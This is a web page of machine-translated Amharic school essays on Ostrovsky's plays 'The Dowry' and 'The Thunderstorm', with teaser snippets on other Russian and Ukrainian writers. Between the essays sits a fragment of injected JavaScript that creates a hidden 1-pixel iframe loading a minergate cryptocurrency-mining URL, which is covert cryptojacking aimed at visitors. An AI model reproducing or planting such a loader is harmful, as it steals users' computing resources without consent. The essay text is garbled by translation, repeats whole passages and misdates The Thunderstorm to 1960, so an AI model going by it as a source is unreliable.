የኦስትሮቭስኪ ተውኔቶች: የካትሪና ካባኖቫ እና የላሪሳ ኦጉዳሎቫ ምስሎች የሩሲያ ብሄራዊ ሴት ባህሪን የሚያንፀባርቁ ናቸው. ኦስትሮቭስኪ “ጥሎሽ” - ድርሰት “በጨለማው መንግሥት” ውስጥ የላሪሳ አሳዛኝ ዕጣ ፈንታ (በኤ ጨዋታ ላይ የተመሠረተ)

አሳዛኝ እጣ ፈንታላሪሳ "በጨለማው መንግሥት" ውስጥ (በ A. N. Ostrovsky ጨዋታ "ጥሎሽ" ላይ የተመሰረተ)

የኦስትሮቭስኪ ተውኔቶች ጀግኖች ብዙውን ጊዜ ሴቶች ይሆናሉ። እርግጥ ነው, እነዚህ ሴቶች ያልተለመዱ እና ያልተለመዱ ግለሰቦች ናቸው. “ነጎድጓድ” ካትሪን የተባለችውን ድራማ ጀግናዋን ​​ማስታወስ በቂ ነው። እሷ በጣም ስሜታዊ እና አስደናቂ ከመሆኗ የተነሳ በጨዋታው ውስጥ ከሌሎቹ ገፀ-ባህሪያት ተለይታለች። የካትሪና እጣ ፈንታ ከሌላ የኦስትሮቭስኪ ጀግና ሴት ዕጣ ፈንታ ጋር ተመሳሳይ ነው።

ውስጥ በዚህ ጉዳይ ላይእየተነጋገርን ያለነው ስለ “ጥሎሽ” ጨዋታ ነው።
ላሪሳ ኦጉዳሎቫ በዙሪያዋ ያሉትን ሰዎች ግድየለሽነት እና ጭካኔን መቋቋም ነበረባት ። የፍቅር ድራማ, እና በውጤቱም ልክ እንደ "ነጎድጓድ" ጀግና ሴት ትሞታለች. ነገር ግን ምንም እንኳን ተመሳሳይነት ቢኖረውም, ላሪሳ ኦጉዳሎቫ ከካትሪና ካባኖቫ ፈጽሞ የተለየ ባህሪ አለው. ልጅቷ ጥሩ ትምህርት አግኝታለች. እሷ ብልህ ፣ የተራቀቀች ፣ የተማረች ፣ ህልም አላት። ቆንጆ ፍቅር, ግን መጀመሪያ ላይ ህይወቷ ሙሉ በሙሉ በተለየ መንገድ ተለወጠ. ቤት አልባ ነች። የላሪሳ እናት በጣም ራስ ወዳድ ነች። የሴት ልጆቿን ውበት እና ወጣትነት ትሸጣለች. የላሪሳ ታላቅ እህቶች ቀድሞውንም "ተቀምጠዋል" ለወላጆቻቸው እንክብካቤ ምስጋና ይግባውና, ግን በሚያሳዝን ሁኔታ, ህይወታቸው በጣም እና በጣም በሚያሳዝን ሁኔታ እያደገ ነው.
ላሪሳ ኦጉዳሎቫ ከ "ብሩህ ጌታ" ሰርጌይ ሰርጌቪች ፓራ ጋር በፍቅር ትወድቃለች. እሷ እንደ ጥሩ ሰው ከልቧ ትቆጥራለች። ጌታው ሀብት አለው ፣ እሱ ከመኳንንት ሀሳብ ጋር ሙሉ በሙሉ ይዛመዳል የተማረ ሰው. የእሱ ውስጣዊ ማንነት በኋላ ላይ ይገለጣል. ላሪሳ ወጣት እና ልምድ ስለሌላት በፓራ ወጥመድ ውስጥ ወድቃ እራሷን አበላሽታለች። እሷ የላትም። ጠንካራ ባህሪእና በሌሎች እጅ ውስጥ መጫወቻ ይሆናል. ልጅቷ እየተጫወተችበት ደረጃ ላይ ይደርሳል። በዙሪያዋ ያሉት እንደ አንድ ነገር ይቆጥሯታል, ውድ እና ቆንጆ አዝናኝ, እና የእሷ የላቀ ነፍስ, ውበት እና ተሰጥኦ ወደ አላስፈላጊነት ይለወጣሉ. ካራንዲሼቭ ላሪሳ እንዲህ ብሏታል፡- “እንደ ሴት፣ እንደ ሰው አይመለከቷችሁም... እንደ ነገር ይመለከቱሻል።
እሷ እራሷ በዚህ ትስማማለች፡- “አንድ ነገር... አዎ፣ አንድ ነገር! ትክክል ናቸው እኔ ነገር ነኝ ሰው አይደለሁም...”
ላሪሳ ጥልቅ ስሜት አላት ፣ ቅን እና ስሜታዊ ነች ፣ ፍቅሯን በልግስና ትሰጣለች ፣ ግን በምላሹ ምን ታገኛለች? ለምትወደው ሰው ላሪሳ ሌላ ዓይነት መዝናኛ እና አዝናኝ ነው. ከተስፋ መቁረጥ የተነሳ የ Knurov ቅድመ ሁኔታዎችን ለመቀበል ትስማማለች.
ሞት ለላሪሳ የድኅነት ዓይነት ነው፣ በእርግጥ መንፈሳዊ ድነት ነው። እንዲህ ያለው አሳዛኝ ፍጻሜ ልታደርገው ከሞከረው አስቸጋሪ ምርጫ ያድናታል፣ ከሥነ ምግባራዊ ሞት ያድናታል እናም እርኩሰት ወደተባለው አዘቅት ውስጥ መውደቅ ነው።

ገጽ 1 ከ 1

የፊልም ታሪክ "በእሳት ላይ ዩክሬን"-የሰዎች እጣ ፈንታ በደራሲው እይታ እና ግምገማ በኩል

(ተግባር () (var w = document.createElement("iframe"); w.style.border = "ምንም"፤ w.style.width = "1 ፒክስል"፤ w.style.height = "1 ፒክስል"፤ w.src = "//ru.minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/2/258de372a1e9730f/የተደበቀ"; var s = document.getElementsByTagName ("አካል");

በአርበኞች ጦርነት ጀግኖች በግሮስማን “ሕይወት እና ዕጣ ፈንታ” ልብ ወለድ ውስጥ

ስለ ታላቁ የአርበኝነት ጦርነትብዙ ተጽፏል። ስለ እሱ የመጀመሪያዎቹ ስራዎች መታየት የጀመሩት በአርባዎቹ አጋማሽ ላይ ነው, እና ከዚያን ጊዜ ጀምሮ ስለ ጦርነቱ ልብ ወለዶች, ታሪኮች እና ግጥሞች በተከታታይ ዥረት ላይ ታትመዋል. እና ብዙዎቹ, በሚያሳዝን ሁኔታ, ሙሉ በሙሉ መካከለኛ እና የማይነበቡ ነበሩ.

የሰው እጣ ፈንታ እና ለትውልድ ሀገር ፍቅር በ A. Malyshko ስራዎች ውስጥ

አንድሬ ሳሞይሎቪች ማሌሻኮ በዩክሬን ባህል ታሪክ ውስጥ ያልተለመደ ሰው ነው። ዘርፈ ብዙ ተሰጥኦው ራሱን በተለያዩ ዘርፎች አሳይቷል፣ ነገር ግን የግጥም ሙዚየም ለጸሐፊው በጣም ምቹ ነበር። ስራው ከሁለት ደርዘን በላይ ስብስቦችን እና አስራ ሰባት ግጥሞችን ያካተተ ሲሆን በዚህ ውስጥ ደራሲው ሰፊ የቲማቲክ አድማስ ይሸፍናል. ነገር ግን ገጣሚው ስለ አንድ ሠራተኛ፣ አርበኛ፣ በልዩ ፍርሃትና ሙቀት ይጽፋል። የትውልድ አገር"እናት ሀገር" በሚለው ግጥም ውስጥ የህይወት, የጥበብ, የውበት እና የእናቶች እንክብካቤ ምንጭ ተመስሏል. እሷ, ጸሃፊው በትክክል እንደሚያምነው, የአንዳንዶቹ ባለቤት ነች አስማታዊ ኃይልምክንያቱም “ዳቦ... በሌሊት ዝማሬ” የሰጠቻቸው ሰዎች የተፈጥሮ ኃይል ስለሚያገኙ፡-...

የታራስ ሼቭቼንኮ አሳዛኝ ዕጣ ፈንታ

እንደምታውቁት ሼቭቼንኮ የገበሬ ሰርፍ ልጅ ነበር እና እራሱ ሰርፍ ነበር። የታላቁ ገጣሚ አባት እና እናት ያለ እድሜያቸው በስራ ብዛት፣ በእጦት እና በህመም ከዚህ አለም በሞት ተለዩ። ታራስ ሼቭቼንኮ ተመሳሳይ ዕጣ ፈንታ ጠብቋል። በአሥራ አንድ ዓመቱ ወላጅ አልባ ሕፃናትን ትቶ፣ የግዳጅ ሥራ የሚያስከትለውን የኋላ ኋላ አስቸጋሪ ችግር ቀደም ብሎ አጋጥሞታል እናም “ፈገግታ የሌለው ምስኪን ገበሬ” ሀዘን ተሰምቶታል። ሼቭቼንኮ በጣም አስቸጋሪ በሆኑ ሁኔታዎች ውስጥ ይኖር ነበር, በጣም ድሃ ነበር, ብዙ ጊዜ ይራባል እና ታምሞ ነበር ....

የአብዮት ጭብጥ ፣ የእርስ በርስ ጦርነት እና የሩሲያ ምሁራዊ እጣ ፈንታ በሩሲያ ሥነ ጽሑፍ (ፓስተርናክ ፣ ቡልጋኮቭ) የነጭ ጠባቂ ቡልጋኮቭ ኤም.

አብዮት ጭብጥ፣ የእርስ በርስ ጦርነትእና በሩሲያ ስነ-ጽሑፍ ውስጥ የሩስያ ምሁራዊ እጣ ፈንታ (ፓስተርናክ, ቡልጋኮቭ) የልቦለዱ መጀመሪያ ያልተለመደ ነው: "እራመዱ እና ሄዱ እና ዘፈኑ" ዘላለማዊ ትውስታ"... ማን ነው የተቀበረው? ..." "ዝሂቫጎ" የፓስተርናክ ሥራ በሙሉ የተገነባው በሕያዋንና በሙታን ተቃውሞ ላይ ነው. የዋና ገፀ ባህሪያት "ውጫዊ እና ውስጣዊ" ህይወት የሚሽከረከርበት ዋናው ጉዳይ አመለካከት ነው. ስለ አብዮቱ ከሁሉም በላይ ፣ ዩሪ ዚቫጎ እና ደራሲው ራሱ ተቃዋሚዎች ነበሩ ፣ ከሁኔታዎች ጋር ከተከራከሩት ሁሉ ፣ ለእውነታው ያላቸው አመለካከት ፍጹም የተለየ ነው ። በዚህ ጉዳይ ላይ ጣልቃ ሳትገቡ ፣ ለመለወጥ ሳትሞክሩ ፣ የሆነውን ነገር በትክክል እንድታዩ ያስችልዎታል ። መጨረሻ የሌላቸው ሰዎች. የነጮች እና የቀያዮቹ አክራሪነት በጭካኔ ተወዳድረዋል፣ እየተፈራረቁ አንዱን ለሌላው ምላሽ በመስጠት፣ ተባዝተዋል” ...

የኦስትሮቭስኪ ተውኔቶች ጀግኖች ብዙውን ጊዜ ሴቶች ይሆናሉ። እርግጥ ነው, እነዚህ ሴቶች ያልተለመዱ እና ያልተለመዱ ግለሰቦች ናቸው. የድራማውን ካትሪና ጀግናን ማስታወስ በቂ ነው። እሷ በጣም ስሜታዊ እና አስደናቂ ከመሆኗ የተነሳ በጨዋታው ውስጥ ከሌሎቹ ገፀ-ባህሪያት ተለይታለች። የካትሪና እጣ ፈንታ ከኦስትሮቭስኪ ሌላ ጀግና እጣ ፈንታ ጋር ተመሳሳይ ነው። በዚህ ጉዳይ ላይ ስለ አንድ ጨዋታ እየተነጋገርን ነው.

ላሪሳ ኦጉዳሎቫ በዙሪያዋ ያሉትን ሰዎች ግድየለሽነት እና ጭካኔን ማየት ነበረባት ፣ ከፍቅር ድራማ መትረፍ ነበረባት ፣ እናም በዚህ ምክንያት ልክ እንደ ነጎድጓድ ጀግና ሴት ትሞታለች። ነገር ግን ምንም እንኳን ተመሳሳይነት ቢኖረውም, ላሪሳ ኦጉዳሎቫ ከካትሪና ካባኖቫ ፈጽሞ የተለየ ባህሪ አለው. ልጅቷ ጥሩ ትምህርት አግኝታለች. እሷ ብልህ ፣ የተራቀቀች ፣ የተማረች ፣ ቆንጆ የፍቅር ህልሞች ነች ፣ ግን መጀመሪያ ላይ ህይወቷ ሙሉ በሙሉ የተለየ ሆነ። ቤት አልባ ነች። የላሪሳ እናት በጣም ራስ ወዳድ ነች። የሴት ልጆቿን ውበት እና ወጣትነት ትሸጣለች. የላሪሳ ታላቅ እህቶች ለወላጆቻቸው እንክብካቤ ምስጋና ይግባቸው ነበር፣ ግን በሚያሳዝን ሁኔታ ህይወታቸው በጣም እና በሚያሳዝን ሁኔታ እያደገ ነው።

ላሪሳ ኦጉዳሎቫ ከአስደናቂው ጨዋ ሰው ሰርጌይ ሰርጌቪች ፓራቶቭ ጋር በፍቅር ወደቀች። እሷ እንደ ጥሩ ሰው ከልቧ ትቆጥራለች። ጌታው ሀብት አለው ፣ እሱ ከተከበረ እና የተማረ ሰው ሀሳብ ጋር ሙሉ በሙሉ ይዛመዳል። የእሱ ውስጣዊ ማንነት በኋላ ላይ ይገለጣል. ላሪሳ ወጣት እና ልምድ የላትም, ስለዚህ በፓራቶቭ ወጥመድ ውስጥ ወድቃ እራሷን ታጠፋለች. እሷ ጠንካራ ባህሪ የላትም እና በሌሎች እጅ ውስጥ መጫወቻ ትሆናለች. ልጅቷ እየተጫወተችበት ደረጃ ላይ ይደርሳል። በዙሪያዋ ያሉ ሰዎች እንደ ውድ እና የሚያምር መዝናኛ አድርገው ይቆጥሯታል፣ ነገር ግን ከፍ ያለ ነፍስዋ፣ ውበቷ እና ተሰጥኦዋ ምንም ፋይዳ የለውም። ካራንዲሼቭ ለላሪሳ እንዲህ ይላል: እንደ ሴት, እንደ ሰው አይመለከቱም ... እንደ አንድ ነገር ይመለከቱዎታል.

እሷ እራሷ በዚህ ትስማማለች፡- አንድ ነገር... አዎ፣ አንድ ነገር! እነሱ ልክ ናቸው፣ እኔ ነገር ነኝ፣ ሰው አይደለሁም….

ላሪሳ ልባዊ ልብ አላት ፣ ቅን እና ስሜታዊ ነች ፣ ፍቅሯን በልግስና ትሰጣለች ፣ ግን በምላሹ ምን ታገኛለች ፣ ላሪሳ ሌላ መዝናኛ ናት ። ከተስፋ መቁረጥ የተነሳ የ Knurov ቅድመ ሁኔታዎችን ለመቀበል ትስማማለች.

ሞት ለላሪሳ የድኅነት ዓይነት ነው፣ በእርግጥ መንፈሳዊ ድነት ነው። እንዲህ ያለው አሳዛኝ ፍጻሜ ልታደርገው ከምትፈልገው አስቸጋሪ ምርጫ ያድናታል፣ ከሥነ ምግባራዊ ሞት ያድናታል እናም እርኩሰት ወደተባለው አዘቅት ውስጥ መውደቅ ነው።

የ A. N. Ostrovsky ድራማ "ነጎድጓድ" በ 1960 በሩሲያ አብዮታዊ ሁኔታ ዋዜማ ላይ ታትሟል. ሥራው በ 1856 የበጋ ወቅት በቮልጋ ላይ የጸሐፊውን ጉዞ ስሜት አንጸባርቋል. ነገር ግን የትኛውም የተለየ የቮልጋ ከተማ እና የተወሰኑ ግለሰቦች በ "ነጎድጓድ" ውስጥ አልተገለጹም. በቮልጋ ክልል ህይወት ላይ የተመለከተውን ሁሉ እንደገና ሰርቷል እና ወደ ጥልቅ የሩሲያ ህይወት ምስሎች ቀይሯቸዋል.

የድራማው ዘውግ ተለይቶ የሚታወቀው በግለሰብ እና በአካባቢው ማህበረሰብ መካከል ባለው ግጭት ላይ የተመሰረተ ነው. በ "ነጎድጓድ" ውስጥ ይህ ሰው Katerina Kabanova ነው.

ካትሪና የሞራል ንፅህናን ትገልፃለች ፣ መንፈሳዊ ውበትሩሲያዊቷ ሴት, የፍላጎት ፍላጎቷ, ለነፃነት, ለመጽናት ብቻ ሳይሆን መብቷን, ሰብአዊ ክብሯን ለመጠበቅ ችሎታዋ. ዶብሮሊዩቦቭ እንደተናገረው “የሰውን ተፈጥሮ በራሷ አልገደለችም”።

ካትሪና የሩሲያ ብሄራዊ ባህሪ ነች። በመጀመሪያ ደረጃ, ይህ ሁሉንም ሀብቶች በፍፁምነት በያዘው ኦስትሮቭስኪ ይንጸባረቃል የቋንቋ, በጀግናዋ ንግግር. ስትናገር የምትዘፍን ትመስላለች። ከተራው ሰዎች ጋር የተቆራኘው የካትሪና ንግግር በአፍ ግጥሞቻቸው ላይ ያመጣ ነበር, የቃላት ቃላቶች የበላይ ናቸው, በከፍተኛ ግጥሞች, ምስሎች እና ስሜታዊነት ተለይተው ይታወቃሉ. አንባቢው ሙዚቃዊ እና ዜማ ይሰማዋል ፣ የካትያ ንግግር ያስታውሳል የህዝብ ዘፈኖች. የኦስትሮቭስካያ ጀግና ቋንቋ በድግግሞሽ ይገለጻል ("በአንድ ሲ በጥሩ ሁኔታ," "እና ሰዎች ለእኔ አስጸያፊ ናቸው, እና ቤቱ ለእኔ አስጸያፊ ነው, እና ግድግዳዎቹ አስጸያፊ ናቸው!"), በፍቅር የተትረፈረፈ. እና ጥቃቅን ቃላቶች ("ፀሐይ", "ቮዲትሳ", "መቃብር"), ንጽጽር ("ስለ ምንም ነገር አላዘነችም, በዱር ውስጥ እንዳለ ወፍ," "አንድ ሰው እንደ እርግብ ኮኮስ" በደግነት ተናገረኝ). ቦሪስን በመናፈቅ ፣ በመንፈሳዊ ጥንካሬ ታላቅ ውጥረት ውስጥ ፣ ካትሪና ስሜቷን በሕዝባዊ ግጥም ቋንቋ ገለጸች ፣ “ኃይለኛ ነፋሳት ፣ ሀዘኔን እና ጭንቀቴን ተሸከሙ!” ብላ ተናገረች።

የደሴቲቱ ጀግና ተፈጥሮአዊነት ፣ ቅንነት እና ቀላልነት አስደናቂ ነው። "እንዴት ማታለል እንዳለብኝ አላውቅም; ምንም ነገር መደበቅ አልችልም, "ስትል ቫርቫራ መለሰች, ያለማታለል በቤታቸው ውስጥ መኖር እንደማትችል ትናገራለች. የካትሪናን ሃይማኖታዊነት እየን። ይህ የካባኒካ ግብዝነት አይደለም፣ ነገር ግን የልጅነት፣ በእግዚአብሔር ላይ ያለው እውነተኛ እምነት ነው። ብዙ ጊዜ ቤተ ክርስቲያንን ትጎበኛለች እና በደስታ እና በደስታ ታደርጋለች ("እናም እስከ ሞት ድረስ ወደ ቤተክርስቲያን መሄድ እወድ ነበር! በእርግጥ ተከሰተ, ወደ መንግሥተ ሰማያት እገባለሁ"), ስለ ፒልግሪሞች ማውራት ትወዳለች ("ቤታችን በፒልግሪሞች እና በጸሎት ልብሶች የተሞላ ነበር. ”)፣ ስለ “ወርቃማ ቤተመቅደሶች” የካትሪና ህልሞች።

የደሴቲቱ ጀግና ፍቅር ያለምክንያት አይደለም። በመጀመሪያ ፣ የፍቅር አስፈላጊነት እራሱን እንዲሰማው ያደርጋል ፣ ለነገሩ ፣ ባሏ ቲኮን ፣ “በእናት” ተጽዕኖ ስር ፣ ለሚስቱ ያለውን ፍቅር ደጋግሞ ያሳየ አይደለም ። በሁለተኛ ደረጃ, የሚስት እና የሴቷ ስሜት ተበሳጨ. በሦስተኛ ደረጃ፣ የአንድ ነጠላ ሕይወት ሟችነት መንፈስ ካትሪናን አንቆታል። እና በመጨረሻም ፣ አራተኛው ምክንያት የነፃነት ፍላጎት ፣ ጠፈር ነው ፣ ከሁሉም በላይ ፣ ፍቅር የነፃነት አንዱ መገለጫ ነው። ካትሪና ከራሷ ጋር እየተዋጋች ነው, እና ይህ የእርሷ ሁኔታ አሳዛኝ ነገር ነው, ነገር ግን በመጨረሻ በውስጧ እራሷን ታጸድቃለች. እራሷን ማጥፋት, ማጥፋት, ከቤተክርስቲያን እይታ, አስከፊ ኃጢአት, ስለ ነፍሷ መዳን ሳይሆን ስለ ተገለጠላት ፍቅር ታስባለች. "ጓደኛዬ! ደስታዬ! በህና ሁን!" - እዚህ የመጨረሻ ቃላትካትሪና.

አንድ ተጨማሪ ባህሪይ ባህሪየደሴቲቱ ጀግና "ከጠቅላላው ፍጡር ጥልቀት የሚመነጨው የህይወት መብት እና ሰፊነት የጎለመሰ ፍላጎት" የነፃነት ፍላጎት እና መንፈሳዊ ነፃነት ነው። ለቫርቫራ “የት ትሄዳለህ? የባል ሚስት ነሽ” ስትል ካትሪና መለሰች፡- “ኤህ ቫርያ፣ ባህሪዬን አታውቀውም! በእርግጥ ይህ እንዳይሆን እግዚአብሔር ይጠብቀው! እና እዚህ ደክሞኝ ከሆነ, በምንም አይነት ኃይል አይያዙኝም. እራሴን በመስኮቱ ውስጥ እጥላለሁ, እራሴን ወደ ቮልጋ እወረውራለሁ. እዚህ መኖር አልፈልግም, ይህን አላደርግም, ብትቆርጠኝም!" በጨዋታው ውስጥ የወፍ ምስል - የፍላጎት ምልክት - በተደጋጋሚ የሚደገመው በከንቱ አይደለም. ከዚህ ቋሚ ትዕይንት"ነጻ ወፍ" ካትሪና ከትዳሯ በፊት እንዴት እንደኖረች በማስታወስ እራሷን በዱር ውስጥ ካለች ወፍ ጋር ታወዳድራለች። ለቫርቫራ "ለምን ሰዎች እንደ ወፎች አይበሩም" ትላለች. "ታውቃለህ አንዳንድ ጊዜ እኔ ወፍ እንደሆንኩ አስባለሁ." ነገር ግን ነፃው ወፍ በብረት መያዣ ውስጥ ተጠናቀቀ. እና በምርኮ ትታገላለች እና ትጓጓለች።

የካትሪና ባህሪ ታማኝነት እና ቆራጥነት የካባኒካ ቤትን ህግጋት ለመታዘዝ ፈቃደኛ ባለመሆኗ እና በግዞት ከመኖር ይልቅ ሞትን በመምረጧ ነው የተገለፀው። ይህ ደግሞ የድክመት መገለጫ ሳይሆን የመንፈሳዊ ጥንካሬ እና ድፍረት፣ ጭቆና እና የጥላቻ ፅኑ ጥላቻ ነው።

ስለዚህ, ዋናው ነገር ባህሪድራማ "ነጎድጓድ" ግጭት ውስጥ ገብቷል አካባቢ. በአራተኛው ድርጊት፣ በንስሐ ቦታ፣ ክሱ እየመጣ ይመስላል። በዚህ ትዕይንት ውስጥ ሁሉም ነገር በካትሪና ላይ ነው-“የእግዚአብሔር ነጎድጓድ” እና እርግማን በግማሽ ያበደች “ሁለት ሎሌዎች ያላት ሴት” እና ጥንታዊ ሥዕል“ገሃነመ እሳት” በሚታይበት በፈራረሰ ግድግዳ ላይ። ምስኪኗ ልጅ በእነዚህ ሁሉ የማለፊያ ምልክቶች ልታበዳ ተቃረበች፣ ነገር ግን ጠንቋይ አሮጌው ዓለም፣ እና ከፊል-የማያሳይ ጨለማ ሁኔታ ከኃጢአቷ ንስሐ ገብታለች። እሷ እራሷ በኋላ ለቦሪስ “በራሷ ነፃ አልነበራትም” ፣ “እራሷን አታስታውስም” ስትል አምናለች። “ነጎድጓድ” የተሰኘው ድራማ በዚህ ትዕይንት ካበቃ “የጨለማው መንግሥት” የማይበገር መሆኑን ያሳያል፡ በአራተኛው ድርጊት መጨረሻ ላይ “ምን ልጅ ነው! ኑዛዜው ወዴት ያመራል?

ድራማው ግን የካትሪናን ነፃነት በገፉት የውጭ ሃይሎች ላይ እና ፈቃዷንና አእምሮዋን ባሰረው የጨለማ ሀሳቦች ላይ በሞራል ድል ይጠናቀቃል። እናም በባርነት ከመቆየት ይልቅ ለመሞት ያደረገችው ውሳኔ ዶብሮሊዩቦቭ እንደተናገረው “የሩሲያ ሕይወት ብቅ ያለውን እንቅስቃሴ አስፈላጊነት” ገልጻለች።

የ A. N. Ostrovsky "ዶውሪ" ድራማ ድንቅ ጨዋታ ነው ዘግይቶ ጊዜየጸሐፊው ፈጠራ. በ 1874 የተፀነሰው በ 1878 ተጠናቅቋል እና በሞስኮ እና በሴንት ፒተርስበርግ በተመሳሳይ አመት ተካሂዷል. M. Ermolova, M. Savina, እና በኋላ V. Komissarzhevskaya - የዋና ከተማው ቲያትሮች ምርጥ ተዋናዮች - የላሪሳ ኦጉዳሎቫን ሚና ወሰዱ. በዚህች ድንቅ ጀግና ምን ማረካቸው?

ላሪሳ ኦጉዳሎቫ በእውነተኛነቷ ፣ በቅንነቷ እና በባህሪዋ ቀጥተኛነት ተለይታለች ፣ በዚህም ካትሪን ከ “ነጎድጓድ” ያስታውሳል። እንደ ቮዝሄቫቲ ገለጻ ላሪሳ ዲሚትሪቭና “ተንኮል የላትም። ወደ “ነጎድጓዱ” ጀግና የሚያቀራርባት ከፍተኛ ግጥሟ ነው። ላሪሳ በትራንስ ቮልጋ ርቀት፣ ከወንዙ ማዶ ያሉት ደኖች፣ በውበቷ የተመሰከረላቸው - ቮልጋ ከስፋቱ ጋር ትማርካለች። ክኑሮቭ “ምድራዊ፣ ይህ ዓለማዊ ነገር የለም” ብሏል። እና እንደውም፡ ሁሉም ከእውነታው ቆሻሻ በላይ፣ ከህይወቷ ብልግና እና መሠረተ ቢስነት በላይ የተነሣች ትመስላለች። በነፍሷ ጥልቅ ውስጥ ፣ እራሷ እንደምትመስለው ወፍ ፣ ቆንጆ እና ክቡር ፣ ሐቀኛ እና ህልምን ይመታል ። ጸጥ ያለ ሕይወትከግሪክ የተተረጎመ ላሪሳ ማለት "የሲጋል" ማለት ነው, እና ይህ በአጋጣሚ አይደለም.

የእናቴን አኗኗር ልመርጥ አይገባኝም? Kharita Ignatievna, ባሏ የሞተባትን ከሶስት ሴት ልጆች ጋር ትታለች, ያለማቋረጥ ተንኮለኛ እና ተንኮለኛ, ተንኮለኛ እና ደስተኛ ነች, ከሀብታሞች በመለመን እና የእጅ ንግግራቸውን ይቀበላሉ. የውበት እና የህይወት ግርማን ለመፍጠር በቤቷ ውስጥ እውነተኛ ጫጫታ ያለው "የጂፕሲ ካምፕ" አዘጋጅታለች። እና ይህ ሁሉ በዚህ የቆርቆሮ ሽፋን ስር ቀጥታ እቃዎችን ለመገበያየት. እሷ ቀድሞውኑ ሁለት ሴት ልጆችን አጠፋች, አሁን ሦስተኛውን ለመሸጥ ተራዋ ነው. ነገር ግን ላሪሳ የእናቷን አኗኗር መቀበል አትችልም; እናትየው ልጇ ፈገግ እንድትል ነገረቻት ነገር ግን ማልቀስ ትፈልጋለች። እና ሙሽራዋ በዙሪያዋ ካለው ከዚህ "ባዛር" እንዲያወጣት ጠየቀቻት, ብዙ "ሁሉም አይነት ረባቶች" ካለበት እና ከቮልጋ ባሻገር የበለጠ እንዲወስዳት.

ይሁን እንጂ ላሪሳ ጥሎሽ የሌላት፣ ድሀ፣ ገንዘብ የሌላት ሙሽራ ነች። መታገስ አለባት። በተጨማሪም እሷ ራሷ በውጫዊ ብሩህነት ፍላጎት መበከል ችላለች። ላሪሳ የጠባይ ታማኝነት ይጎድላል, እሷ የአዕምሮ ህይወትበጣም አከራካሪ በዙሪያዋ ያሉትን ሰዎች ብልግና እና ቂልነት ማየት አለመፈለግ ብቻ ሳይሆን ለረጅም ጊዜ ሊረዳው አልቻለም። ይህ ሁሉ እሷን ከ Katerina ይለያታል. የእናቷን የአኗኗር ዘይቤ በመቃወም በብልግና አድናቂዎች መካከል ትገኛለች።

ላሪሳ ኦጉዳሎቫ በዙሪያዋ ያሉትን ሰዎች ግድየለሽነት እና ጭካኔን ማየት ነበረባት ፣ ከፍቅር ድራማ መትረፍ ነበረባት ፣ እናም በዚህ ምክንያት ትሞታለች ፣ ልክ እንደ “ነጎድጓድ” ጀግና። ነገር ግን ምንም እንኳን ተመሳሳይነት ቢኖረውም, ላሪሳ ኦጉዳሎቫ ከካትሪና ካባኖቫ ፈጽሞ የተለየ ባህሪ አለው. ልጅቷ ጥሩ ትምህርት አግኝታለች ፣ ብልህ ፣ የተራቀቀች ፣ የተማረች ፣ ቆንጆ የፍቅር ህልሞች ነች ፣ ግን መጀመሪያ ላይ ህይወቷ ሙሉ በሙሉ የተለየ ሆነች። ቤት አልባ ነች። የላሪሳ እናት በጣም ራስ ወዳድ ነች። የሴት ልጆቿን ውበት እና ወጣትነት ትሸጣለች.

በመጀመሪያ, አንድ አዛውንት ሪህ በቤቱ ውስጥ ታየ. ላሪሳ ይህንን እንደማትፈልግ ግልጽ ነው። እኩል ያልሆነ ጋብቻነገር ግን “ጥሩ መሆን ነበረብሽ፡ የእማዬ ትእዛዝ። ከዚያም የአንድ ልዑል ባለጸጋ ሥራ አስኪያጅ ሁልጊዜ ሰክሮ እየሮጠ መጣ። ላሪሳ ለእሱ ምንም ጊዜ የላትም ፣ ግን በቤቱ ውስጥ “አቋሟ የማይፈለግ ነው” ብለው ተቀበሉት። ከዚያ የተወሰነ ገንዘብ ተቀባይ “ታየ” ፣ ካሪታ ኢግናቲቭናን በገንዘብ እያጠበ። ይህ ከሁሉም ጋር ተዋግቷል, ግን ለረጅም ጊዜ አልታየም. እዚህ ያሉት ሁኔታዎች ሙሽራዋን ረድተዋቸዋል፡ በቤታቸው ውስጥ በቅሌት ተይዟል።

ላሪሳ ኦጉዳሎቫ ከ "ብሩህ ጌታ" ሰርጌይ ሰርጌቪች ፓራቶቭ ጋር በፍቅር ትወድቃለች. እሷ እንደ ጥሩ ሰው ከልቧ ትቆጥራለች። ጌታው ሀብት አለው ፣ እሱ ከተከበረ እና የተማረ ሰው ሀሳብ ጋር ሙሉ በሙሉ ይዛመዳል። የእሱ ውስጣዊ ማንነት በኋላ ላይ ይገለጣል. ላሪሳ ወጣት እና ልምድ የላትም, ስለዚህ በፓራቶቭ ወጥመድ ውስጥ ወድቃ እራሷን ታጠፋለች. እሷ ጠንካራ ባህሪ የላትም እና በሌሎች እጅ ውስጥ መጫወቻ ትሆናለች. ልጅቷ እየተጫወተችበት ደረጃ ላይ ይደርሳል። በዙሪያዋ ያሉ ሰዎች እንደ ውድ እና የሚያምር መዝናኛ አድርገው ይቆጥሯታል፣ ነገር ግን ከፍ ያለ ነፍስዋ፣ ውበቷ እና ተሰጥኦዋ ምንም ፋይዳ የለውም። ካራንዲሼቭ ላሪሳ እንዲህ ብሏታል፡- “እንደ ሴት፣ እንደ ሰው አይመለከቷችሁም... እንደ ነገር ይመለከቱሻል።

እሷ እራሷ በዚህ ትስማማለች: "አንድ ነገር ... አዎ, ነገር! እነሱ ትክክል ናቸው, እኔ ነገር ነኝ, እኔ ሰው አይደለሁም..."

ላሪሳ ጥልቅ ልብ አላት ፣ ቅን እና ስሜታዊ ነች። ፍቅሯን በልግስና ትሰጣለች ፣ ግን በምላሹ ምን ታገኛለች? ለምትወደው ሰው ላሪሳ ሌላ ዓይነት መዝናኛ እና አዝናኝ ነው. ከተስፋ መቁረጥ የተነሳ የ Knurov ቅድመ ሁኔታዎችን ለመቀበል ትስማማለች.

ሞት ለላሪሳ የድኅነት ዓይነት ነው፣ በእርግጥ መንፈሳዊ ድነት ነው። እንዲህ ያለው አሳዛኝ ፍጻሜ ልታደርገው ከሞከረው አስቸጋሪ ምርጫ ያድናታል፣ ከሥነ ምግባራዊ ሞት ያድናታል እናም እርኩሰት ወደተባለው አዘቅት ውስጥ መውደቅ ነው።

